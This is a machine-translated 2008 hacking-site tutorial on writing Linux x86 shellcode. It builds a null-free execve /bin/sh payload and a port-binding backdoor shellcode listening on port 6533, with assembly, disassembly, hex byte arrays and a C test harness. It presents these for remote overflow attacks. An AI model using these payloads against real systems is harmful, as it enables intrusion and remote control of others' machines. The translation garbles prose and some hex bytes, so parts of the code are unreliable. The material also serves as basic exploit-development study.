Light into the light out of the Liunx Shellcode-exploit warning-the black bar safety net

2008-05-14T00:00:00
ID MYHACK58:62200819061
Type myhack58
Reporter 佚名
Modified 2008-05-14T00:00:00

Description

/------------- Author:merry-go-round of wood the [B. C. T] [xuanmumu@gmail.com] Date:2008/05/12 Website:www.bugshower.org -------------/

A: What is shellcode Saying one day some Patriotic hackers compiled a Nday overflow exploit program to attack the CNN, the input IP and enter after the discovery of a target server there is no reaction, then come up with the sniffer capture analysis... “Oh ,my dog! Actually not with shellcode that!” Why shellcode for an exploit that so important? Shellcode in the end is what things? Simply put, the Shellcode is a period to complete a specific function of the binary code. Specifically complete what task is performed by the attacker to the decision, may be open a new shell or download a particular program or to the attacker returns a shell, and so on. Because the shellcode will direct the operation of the register and some system calls, so for shellcode writing is basically a high-level language a program and then compile, disassemble to obtain 1 6-ary operation symbol, of course, also can write directly to the assembler and then from binary file to extract the 1 6 hexadecimal operation code. Next will come together to unravel the shellcode the mystery of it ~

Two: Linux system calls Why write shellcode need to know about system calls? Because the system call is the user mode and kernel mode between a bridge. Most of theoperating systemprovides many application can access to the core functions, the shellcode of course, also need to call these core functions. Linux system provides the core functions can be easily implemented to access files, execute commands, network communication, etc. function. These functions will be become the system call(System Call). Want to know the system on what the system call can be used to directly view the kernel code can be obtained. Linux system calls in the following file:/usr/include/asm-i386 /unistd. h,the file contains the system in each of the available system calls is defined, the content is probably as follows:

ifndef ASM_I386_UNISTD_H

define ASM_I386_UNISTD_H

/ This file contains the system call numbers. */

define __NR_restart_syscall 0

define __NR_exit 1

define __NR_fork 2

define __NR_read 3

define __NR_write 4

define __NR_open 5

define __NR_close 6

define __NR_waitpid 7

define __NR_creat 8

define __NR_link 9

define __NR_unlink 1 0

define __NR_execve 1 1

define __NR_chdir 1 2

define __NR_time 1 3

define __NR_the mknod 1 4

define __NR_chmod 1 5

. . . . Each system call has a name and corresponding system call number, since the document is very long it is not listed. Know the linux system calls look like, following on to know how to use these system calls. Start a system call need to use the int command, the linux system call in the interrupt 0×8 0 to. When the execution of an int 0×8 0 instruction, issue a soft interrupt, forcing the kernel to stop the current job to process the interrupt. The kernel first checks the parameters passed is correct, then the following register value is copied to the kernel memory space, the next with reference to the interrupt descriptor table(IDT)to handle the interrupt. The system call is completed, continue executing the int instruction after the next instruction. System call number is to determine a system call of the key figures in the implementation of the int instruction, it should be passed in EAX register, it is determined that a system call number, after the is necessary to consider the system call to pass what parameters to accomplish what function. Stored in the parameter register 5, they are EBX, ECX, EDX, ESI and EDI, the five registers, order the storage of the incoming system call parameters. Need more than 6 input parameters of system calls use a different method to pass parameters to system calls. The EBX register is used to protect to point to the input parameter of the memory location of the pointer, the input parameters according to the sequential order of storage. System calls use this pointer to access the memory location to read the parameter. In order to better illustrate a system call of the use of the whole process, let's look at an example, this example calls the write system call to the hello,syscall write to the terminal, and the final call to the exit system call to the security exit. The code is as follows: . section . data output: . ascii “hello,syscall!!!!\ n” output_end: . equ len,output_end - output . section . text . globl _start _start: movl $4,%eax is # define __NR_write 4 movl $1,%ebx movl $output,%ecx movl $len,%edx int $0×8 0 movl $1,%eax movl $0,%ebx int $0×8 0 Compile the program, and to view the run results: pr0cess@pr0cess:~$ as-o syscall. o syscall. s pr0cess@pr0cess:~$ ld-o syscall syscall. o pr0cess@pr0cess:~$ ./ syscall hello,syscall!!!! Can see hello,syscall is written to the terminal. Then this process is how to achieve? First the program defines a string hello,syscall!!!! And the length of the string len, next the write system call number is written to the eax register, then the write system call of the first parameter requires a file descriptor fd, the linux contains 3 kinds of file descriptor 0[STDIN]:the terminal device of the standard input; 1[STDOUT]: a terminal device to the standard output; 2[STDERR]: a terminal device to the standard error output. Here we put fd value is set to 1, that is, the input to the screen, so the operation the number 1 is assigned to the EBX register. the write system call of the second parameter is to be written a pointer to a string, where the need for a memory address, so we pass movl $output,%ecx put the output point to the actual memory address stored in the ECX register. the write system call, the third parameter is written to the length of the string, in the order of the parameter transfer mode, we take the len passed to the EDX register, then execute the int $0×8 0 soft interrupt to perform the write system call. The next step to perform an exit(0) operation, the exit system call number 1 is passed to the EAX register, the parameter 0 passed to the EBX register, and then execute the int $0×8 0 to perform system calls to achieve the program's exit. In order to more clearly verify that our system call is indeed executed, you can strace to view the binary code of the operation, the results are as follows: pr0cess@pr0cess:~$ strace ./ syscall execve(”./ syscall”, ["./ syscall"], [/ 3 4 vars /]) = 0 write(1, “hello,syscall!!!!\ n”, 18hello,syscall!!!! ) = 1 8 _exit(0) By returning the result we can clearly see just syscall programs are executed, what system calls, and each of the system calls are passed to what parameter. Already know system call implementation process, let us away from the shellcode further.

Three: the first shellcode Initially when the shellcode this noun comes, the purpose is just to get a new shell, at that time already is a very wonderful thing, next we come to the realization how to get a new shell to complete our first shellcode writing. It should be noted that a basic key is the place in the shellcode can not appear/x00 is a NULL character, when there is a NULL character will cause the shellcode is truncated, thus unable to complete its proper function, this is indeed a vexing problem. So what's the solution? We first extract of the previous example syscall in the 1 6 hexadecimal machine code to see does not appear/x00 truncated operators: pr0cess@pr0cess:~$ objdump-d ./ syscall

./ syscall: file format elf32-i386

Disassembly of section . text:

0 8 0 4 8 0 7 4 <_start>: 8 0 4 8 0 7 4: b8 0 4 0 0 0 0 0 0 mov $0×4,%eax 8 0 4 8 0 7 9: bb 0 1 0 0 0 0 0 0 mov $0×1,%ebx 804807e: b9 9 8 9 0 0 4 0 8 mov $0×8 0 4 9 0 9 8,%ecx 8 0 4 8 0 8 3: ba 1 2 0 0 0 0 0 0 mov $0×1 2,%edx 8 0 4 8 0 8 8: cd 8 0 int $0×8 0 804808a: b8 0 1 0 0 0 0 0 0 mov $0×1,%eax 804808f: bb 0 0 0 0 0 0 0 0 mov $0×0,%ebx 8 0 4 8 0 9 4: cd 8 0 int $0×8 0 pr0cess@pr0cess:~$ Oh! that!! This SB program in 8 0 4 8 0 7 4: b8 0 4 0 0 0 0 0 0 mov $0×4,%eax Here it has been 0 0 truncated, completely can not be used for shellcode, but only as aLike the assembler run. Now to analyze why this will happen. Now see this two code: movl $4,%eax movl $1,%ebx These two instructions use a 3 2-bit and 4 bytes of register EAX and EBX, but we only were assigned a 1 byte into a register, so the system will use the NULL character 0 0 to fill the remaining bytes of space, resulting shellcode is truncated. Know the reason you can find a good solution method,a EAX register is 3 2, 3 2-bit registers can also be through the 1 6-bit or 8-bit name reference, we pass the AX register to access the first 1 6 bits of the area of the lower 1 6 bits, continues through the AL-a reference to EAX register low 8 bits are used, AH uses the AL after the high 8 bits. EAX register is configured as follows:

In the syscall of the example operand$4 and$1 binary are only representing 8 bits, so only need to put the two operand is assigned the value of AL can be, thus avoiding the use of the EAX register, the system used NULL-fill the other space. We have to modify the code to look at, the movl $4,%eax movl $1,%ebx Instead mov $4,%al mov $1,%bl Then re-compile the Connect syscall the program, and look at the objdump of the results: pr0cess@pr0cess:~$ ./ syscall hello,syscall!!!! pr0cess@pr0cess:~$ objdump-d ./ syscall

./ syscall: file format elf32-i386

Disassembly of section . text:

0 8 0 4 8 0 7 4 <_start>: 8 0 4 8 0 7 4: b0 0 4 mov $0×4,%al 8 0 4 8 0 7 6: b3 0 1 mov $0×1,%bl 8 0 4 8 0 7 8: b9 9 0 9 0 0 4 0 8 mov $0×8 0 4 9 0 9 0,%ecx 804807d: ba 1 2 0 0 0 0 0 0 mov $0×1 2,%edx 8 0 4 8 0 8 2: cd 8 0 int $0×8 0 8 0 4 8 0 8 4: b8 0 1 0 0 0 0 0 0 mov $0×1,%eax 8 0 4 8 0 8 9: bb 0 0 0 0 0 0 0 0 mov $0×0,%ebx 804808e: cd 8 0 int $0×8 0 pr0cess@pr0cess:~$ See, it has been successful to put the NULL character to remove, the same way you can put the following statement to rewrite it again, so you can make this app as the shellcode to run. Here we have to write the first one has the actual significance of the shellcode, it will open a new shell. This, of course, in the local is of little significance, but when it is used as a remote overflow on the target machine open the shell of the time, that role could not be overlooked. Open a new shell we need to use the execve system call, first take a look at the manual in how to define this function: NAME execve - execute program

SYNOPSIS

include <unistd. h>

int execve(const char filename, char const argv[], char *const envp[]); You can see the execve system call takes 3 parameters, in order to illustrate how the use of the prior to write a simple C Program to call the execve function:

include <stdio. h>

int main() { char *sc[2]; sc[0]=”/bin/sh”; sc[1]= NULL; execve(sc[0],sc,NULL); } Through execve execute a/bin/sh to get a new shell, compile and run the following results: pr0cess@pr0cess:~$ gcc-o newshell newshell. c pr0cess@pr0cess:~$ ./ newshell $ exit pr0cess@pr0cess:~$ The new shell has had a successful birth!! In order to write execve shellcode we use the compilation to achieve what the above C Program of the function, The code is as follows: . section . text . globl _start _start: xorl %eax,%eax pushl %eax pushl $0×68732f6e pushl $0×69622f2f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx movb $0xb,%al int $0×8 0 To explain this Code, First of all in order to avoid the mov the assignment to bring the 0 0 with an exclusive-or operation to the EAX register empty xorl %eax,%eax Then the 4 bytes of the NULL onto the stack pushl %eax The/bin//sh onto the stack, to maintain alignment, the first parameter pushl $0×68732f6e pushl $0×69622f2f The/bin//sh is stored into the EBX register, the first 2 parameters movl %esp,%ebx Pressure 4 bytes of NULL, the 3rd argument, the environment variable is NULL pushl %eax The EBX onto the stack pushl %ebx The EBX address stored in the ECX register movl %esp,%ecx The execve system call number 1 1(0xb)is pressed into the AL register, message 0 0 movb $0xb,%al Call int instruction into the interrupt int $0×8 0 OK, now to test whether this app can bring us a new shell pr0cess@pr0cess:~$ as-o exec. o exec. s pr0cess@pr0cess:~$ ld-o exec exec. o pr0cess@pr0cess:~$ ./ exec $ exit pr0cess@pr0cess:~$ HOHO~~successfully executed!! Then to extract the 1 6 hexadecimal machine code pr0cess@pr0cess:~$ objdump-d ./ exec

./ exec: file format elf32-i386

Disassembly of section . text:

0 8 0 4 8 0 5 4 <_start>: 8 0 4 8 0 5 4: 3 1 c0 xor %eax,%eax 8 0 4 8 0 5 6: 5 0 push %eax 8 0 4 8 0 5 7: 6 8 6e 2f 7 3 6 8 push $0×68732f6e 804805c: 6 8 2f 2f 6 2 6 9 push $0×69622f2f 8 0 4 8 0 6 1: 8 9 e3 mov %esp,%ebx 8 0 4 8 0 6 3: 5 0 push %eax 8 0 4 8 0 6 4: 5 3 push %ebx 8 0 4 8 0 6 5: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 6 7: b0 0b mov $0xb,%al 8 0 4 8 0 6 9: cd 8 0 int $0×8 0 pr0cess@pr0cess:~$ Put into a C Program to complete the entire shellcode to write the test. / linux/x86 execve(”/bin//sh/”,["/bin//sh"],NULL) shellcode 23bytes xuanmumu@gmail.com / pr0cess@pr0cess:~$ objdump-d exec

exec: file format elf32-i386

Disassembly of section . text:

0 8 0 4 8 0 5 4 <_start>: 8 0 4 8 0 5 4: 3 1 c0 xor %eax,%eax 8 0 4 8 0 5 6: 5 0 push %eax 8 0 4 8 0 5 7: 6 8 6e 2f 7 3 6 8 push $0×68732f6e 804805c: 6 8 2f 2f 6 2 6 9 push $0×69622f2f 8 0 4 8 0 6 1: 8 9 e3 mov %esp,%ebx 8 0 4 8 0 6 3: 5 0 push %eax 8 0 4 8 0 6 4: 5 3 push %ebx 8 0 4 8 0 6 5: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 6 7: b0 0b mov $0xb,%al 8 0 4 8 0 6 9: cd 8 0 int $0×8 0 pr0cess@pr0cess:~$

char sc[] = "\x31\xc0" "\x50" "\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\69" "\x89\the XE3" "\x50" "\x53" "\x89\xe1" “\xb0\x0b” "\xcd\x80" ; int main() { void (fp)(void) = (void ()(void))sc;

printf(”Length: %d\n”,strlen(sc)); fp(); } pr0cess@pr0cess:~$ gcc-o execve execve. c pr0cess@pr0cess:~$ ./ execve Length: 2 3 $ exit pr0cess@pr0cess:~$ Success! We wrote the first linux shellcode, and can work smoothly. A little break, the next section brings a more cool of the bindshell function of the shellcode to Four: port binding shellcodeAccording to the previous section said, the local open a new shell in the face of the remote target when it is not so useful, in this case we need the remote target on to open an interactive shell, so to We more helpful, is equal to directly get an access to remote system back door, this is the port binding shellcode is. Write to here just need some Web programming knowledge, here no longer explain in detail how to network programming, just about the way a bindshell Backdoor of the writing process: The first to establish a socket server=socket(2,1,0) Build a sockaddr_in structure with IP and port information The port and IP binding to the socket bind() Open port listening to the socket listen() When there is a connection to the client returns a handle accept() Will return a handle to the Copy to STDIN,STDOUT,STDERR dup2() Call execve executing/bin/sh The process may be somewhat confused, here I give an I used some of the bindshell. c Backdoor, you can clearly see a bindshell is how to achieve:<http://www.bugshower.org/xbind.c> Through a port binding back door of a C Program analysis has been to understand the entire implementation process, in order to more easily extract the shellcode we need to use assembler to rewrite this app. Here a new system call will be used, this is the socketcall system call, this system call number is 1 0 to 2. First look at the man inside about this system call parameter information: NAME socketcall - socket system calls

SYNOPSIS int socketcall(int call, unsigned long *args); The system call requires two parameters, the first parameter is an integer value, stored in the EBX register, for a bindshell we only need 4 numerical values, are: SYS_SOCKET 1 SYS_BIND 2 SYS_LISTEN 4 SYS_ACCEPT 5 The second parameter is a pointer to a parameter array, put it in the presence of ECX register. Now all the preparations are ready, start with the compilation of writing a bindshell back-door. code and comments are as follows:

xuanmumu@gmail.com&process@cnbct.org

bindshell. s –bindport on 6 5 3 3

. section . text . global _start _start:

To empty the register

xor %eax,%eax xor %ebx,%ebx xor %ecx,%ecx

the socket(2,1,0)creates a TCP connection, note that the byte order.

push %eax # of pressure into 3rd parameter 0 push $0×1 # of pressure into the first 2 parameters 1 push $0×2 # of pressure into the 1 parameter 2 mov %esp,%ecx # on the ECX in the array address as the socketcall system call in the 2nd parameter inc %bl # a-bl = a 0 + A 1,as the socketcall of the first parameter, call the socket function movb $0×6 6,%al # call socketcall,0×6 6=1 0 2 int $0×8 0 play interrupt mov %eax,%esi will return the handle stored in ESI.

the # bind() push %edx #EDX onto the stack as the end of the identifier push $0×8519FF02 the # 0×8 5 1 9=6 5 3 3,sin. family=0 2,FF any bytes of padding mov %esp,%ecx # for the ESP address assigned to ECX push $0×1 0 # the beginning of the bind parameter, 0×1 0 onto the stack push %ecx # save address push %esi # to the front of the handle onto the stack mov %esp,%ecx # to continue to put the array address as the socketcall Call of first 2 parameters inc %bl # a-bl=1+1=2=SYS_BIND mov $0×6 6,%al #call socketcall int $0×8 0 #interrupt

the # listen() push %edx #EDX onto the stack, as the end of the identifier push %esi # to handle the pressure of the stack, as the listen parameter mov %esp,%ecx # to the array address is set for socketcall of the first 2 parameters mov $0×4,%bl # of bl=4=SYS_LISTEN mov $0×6 6,%al #perform the socketcall system call int $0×8 0 play interrupt

accept()

push %edx #parameters 0 push %edx # the parameter 0 push %esi # the handle onto the stack mov %esp,%ecx # of the array is set to the system call the first 2 parameters inc %bl # of bl=4+1=SYS_ACCEPT mov $0×6 6,%al #perform system call int $0×8 0 play interrupt

the dup2()

mov %eax,%ebx #will accept the returned handle is copied to EBX xor %ecx,%ecx # the empty mov $0×3f,%al # the dup2 system call, 0×3f=6 3 int $0×8 0 play interrupt inc %ecx # 1 in mov $0×3f,%al int $0×8 0 inc %ecx # the 2 mov $0×3f,%al int $0×8 0

Play before familiar with the execve call, open a new shell push %edx push $0×68732f2f push $0×6e69622f mov %esp,%ebx push %edx push %ebx mov %esp ,%ecx mov $0xb,%al int $0×8 0 Uh..now you can take a break, finally done with this disgusting program's written work, test it whether can work properly ~ pr0cess@pr0cess:~$ as-o bindshell. o bindshell. s pr0cess@pr0cess:~$ ld-o bindshell bindshell. o pr0cess@pr0cess:~$ ./ bindshell Then open a new terminal to connect, well, then we should be able to in 6 5 3 3 port get a shell. pr0cess@pr0cess:~$ netstat-an |grep "6 5 3 3" tcp 0 0 0.0.0.0:6 5 3 3 0.0.0.0:* LISTEN pr0cess@pr0cess:~$ nc 192.168.12.211 6 5 3 3 uname-a Linux pr0cess 2.6.20-1 5-generic #2 SMP Sun Apr 1 5 0 7:3 6:3 1 UTC 2 0 0 7 i686 GNU/Linux exit pr0cess@pr0cess:~$ Ah ~ the wonderful shell appears, the program successfully completed its work, it can die, we have to extract the shellcode it: pr0cess@pr0cess:~$ objdump-d ./ bindshell

./ bindshell: file format elf32-i386

Disassembly of section . text:

0 8 0 4 8 0 5 4 <_start>: 8 0 4 8 0 5 4: 3 1 c0 xor %eax,%eax 8 0 4 8 0 5 6: 3 1 db xor %ebx,%ebx 8 0 4 8 0 5 8: 3 1 c9 xor %ecx,%ecx 804805a: 5 0 push %eax 804805b: 6a 0 1 push $0×1 804805d: 6a 0 2 push $0×2 804805f: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 6 1: fe c3 inc %bl 8 0 4 8 0 6 3: b0 6 6 mov $0×6 6,%al 8 0 4 8 0 6 5: cd 8 0 int $0×8 0 8 0 4 8 0 6 7: 8 9 c6 mov %eax,%esi 8 0 4 8 0 6 9: 5 2 push %edx 804806a: 6 8 0 2 ff 1 9 8 5 push $0×8519ff02 804806f: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 7 1: 6a 1 0 push $0×1 0 8 0 4 8 0 7 3: 5 1 push %ecx 8 0 4 8 0 7 4: 5 6 push %esi 8 0 4 8 0 7 5: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 7 7: fe c3 inc %bl 8 0 4 8 0 7 9: b0 6 6 mov $0×6 6,%al 804807b: cd 8 0 int $0×8 0 804807d: 5 2 push %edx 804807e: 5 6 push %esi 804807f: 8 9 e1 mov %esp,%ecx 8 0 4 8 0 8 1: b3 0 4 mov $0×4,%bl 8 0 4 8 0 8 3: b0 6 6 mov $0×6 6,%al 8 0 4 8 0 8 5: cd 8 0 int $0×8 0 8 0 4 8 0 8 7: 5 2 push %edx 8 0 4 8 0 8 8: 5 2 push %edx 8 0 4 8 0 8 9: 5 6 push %esi 804808a: 8 9 e1 mov %esp,%ecx 804808c: fe c3 inc %bl 804808e: b0 6 6 mov $0×6 6,%al 8 0 4 8 0 9 0: cd 8 0 int $0×8 0 8 0 4 8 0 92: 8 9 c3 mov %eax,%ebx 8 0 4 8 0 9 4: 3 1 c9 xor %ecx,%ecx 8 0 4 8 0 9 6: b0 3f mov $0×3f,%al 8 0 4 8 0 9 8: cd 8 0 int $0×8 0 804809a: 4 1 inc %ecx 804809b: b0 3f mov $0×3f,%al 804809d: cd 8 0 int $0×8 0 804809f: 4 1 inc %ecx 80480a0: b0 3f mov $0×3f,%al 80480a2: cd 8 0 int $0×8 0 80480a4: 5 2 push %edx 80480a5: 6 8 2f 2f 7 3 6 8 push $0×68732f2f 80480aa: 6 8 2 6 2 6 9 6e push $0×6e69622f 80480af: 8 9 e3 mov %esp,%ebx 80480b1: 5 2 push %edx 80480b2: 5 3 push %ebx 80480b3: 8 9 e1 mov %esp,%ecx 80480b5: b0 0b mov $0xb,%al 80480b7: cd 8 0 int $0×8 0 pr0cess@pr0cess:~$ Checked, the machine code does not appear in the 0 0, can be assured extract as shellcode. The specific extraction process has been introduced, also gives the corresponding C Program template, there is no longer duplication of work.

Five: summary Nothing in this article Advanced the technology, no fancy tricks, light into the light out of the introduced basic linuxshellcode of the writing process, and successfully completed the popular science purposes. Have a fun~

DOC download the address:<http://www.bugshower.org/myfile/sc.doc>